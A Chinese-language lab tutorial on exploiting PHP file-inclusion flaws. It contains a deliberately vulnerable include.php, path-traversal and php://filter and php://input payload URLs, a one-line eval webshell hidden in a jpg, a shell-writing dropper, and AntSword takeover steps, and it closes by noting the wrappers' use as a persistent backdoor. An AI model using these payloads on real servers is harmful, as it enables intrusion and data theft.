在前两节了解了文件包含及其漏洞的危害后,本节主要讲文件包含漏洞的利用方法。
利用方式:本节内容从以下六方面来分享文件包含漏洞的利用方式。
(1)靶机(服务器):本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2)测试机:真实机.
(3)服务器与真实机都连接了VMnet1。
目的:了解文件包含漏洞获取服务器本地敏感文件的利用方式。
我们可以利用文件包含漏洞读取任意文件。读取文件的时候有利条件:
以获取服务器本地host文件为例,Windows系统下的host文件路径为c:\windows\System32\drivers\etc\hosts。具体操作步骤如下:
(1)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=c:\windows\System32\drivers\etc\hosts,网页显示如下,可以看到成功显示服务器本地的host文件内容。

(2)以上是采用绝对路径的写法,如果是采用相对路径,可以多添加几个…\表示上级目录直到根目录,如http://172.16.1.1/FileInclusion/include.php?path=..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts,网页显示如下,同样可以读取host文件。对于Windows系统,采用该方式来读取,如果服务器部署不是在C盘的话,就获取不到了数据了;对于Linux系统,同在一个根目录下,则没有该问题。

目的:通过利用服务器文件包含漏洞,使用中国蚁剑和图片木马(含一句话木马)GetShell。
实验准备:
(1)图片马。在靶机根目录下FileInclusion文件夹下新建一个txt文件,输入<?php @eval($_REQUEST['cmd']);?>,并命名为muma.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)》
(2)真实机:安装中国蚁剑,参考文章《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。
(1)真实机使用浏览器访问http://172.16.1.1/FileInclusion/include.php?path=muma.jpg&cmd=print(123456);,注意结尾有分号,可以看到能激活文件并执行等于号后的内容。

(2)中国蚁剑连接。由于php代码是存在jpg文件中的,如果没有借助其他解析漏洞就没有运行里面的代码,而在上一步中成功利用http://172.16.1.1/FileInclusion/include.php?path=muma.jpg执行图片马中的PHP语句,因此可以用中国蚁剑来连接它。打开中国蚁剑,添加数据并填写以下资料,点击添加。




(3)管理服务器。添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。


目的:利用文件包含漏洞,执行图片马,生成Shell代码。同样地,可以生成其他代码。
实验准备:
(1)图片马。在靶机根目录下FileInclusion文件夹下新建一个txt文件,输入<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>(该代码含义为:在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST['cmd'])?>),并命名为muma2.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)》
(2)真实机:安装中国蚁剑,参考文章《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。
(1)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=muma2.jpg,网页显示如下,没有报错。

(2)验证刚刚代码是否执行成功。打开靶机中的test文件夹,可以看到成功生成shell.php文件。

(3)打开蚁剑并连接shell.php。右键添加数据→填写数据。如下所示此处一句话木马位于PHP文件中,可以直接访问而无需再借助文件包含漏洞。新建连接如下。


(4)双击新建的连接,可以成功管理服务器。

我们可以利用php的file协议访问本地系统文件
目的:该方式与“利用方法一”目的一致,由于存在该方法,所以学习一下。
条件:要求PHP配置文件中将allow_url_include参数配置为On。

在真实机浏览器输入http://172.16.1.1/FileInclusion/include.php?path=file://c:\windows\System32\drivers\etc\hosts,可以看到成功读取文件内容。

注意:这种方法与直接读取本地文件类似,为什么还要用这种方法。实战中才能体会。
目的:读取网站源代码。上述利用方法一和方法四读取文件的结果,如果其中有PHP代码会被无条件执行,也就是说我们看到的将是PHP代码执行后的结果,如果想要看到PHP代码源码,需要用到此方法。
条件:要求PHP配置文件中将allow_url_include参数配置为On。

(1)真实机浏览器访问时输入http://172.16.1.1/FileInclusion/include.php?path=php://filter/read=convert.base64-encode/resource=shell.php,页面显示内容如下。这里是利用PHP伪协议来读取文件,filter表示过滤:read表示读取文件内容,读取方式为convert.base64-encode(读取后的文件进行base64编码),resource后面跟资源文件名。

(2)将显示出来的代码复制。黏贴到在线加解码工具中,即可查看源码。

目的:在本地或远程没有文件的前提下,直接执行PHP代码。
条件:要求PHP配置文件中将allow_url_include参数配置为On。

(1)真实机打开BurpSuite,切换到repeater模块,复制上一个实验的URL,右键选择Paste URL as request以URL形式添加请求。点击发送,可以看到响应内容与上一个实验一致。本实验将利用BurpSuite通过该请求来执行PHP代码。

(2)修改path参数为php://input,同时在请求体中添加想要执行的PHP代码<?php phpinfo();?>,如下图,并点击发送。在响应中显示探针语句执行结果的。

(1)关于图片马的几种执行方式总结:
(2)掌握文件包含漏洞的六种利用方式。
(3)利用PHP的封装协议的前提条件是开启了远程文件包含(PHP配置文件中将allow_url_include参数配置为On),但是一般情况下该项设置是默认关闭的,那么为啥PHP的封装协议又有什么用途呢?主要是用于打CTF,以及作为一个永久控制的后门。
《php://》介绍各类伪协议如下。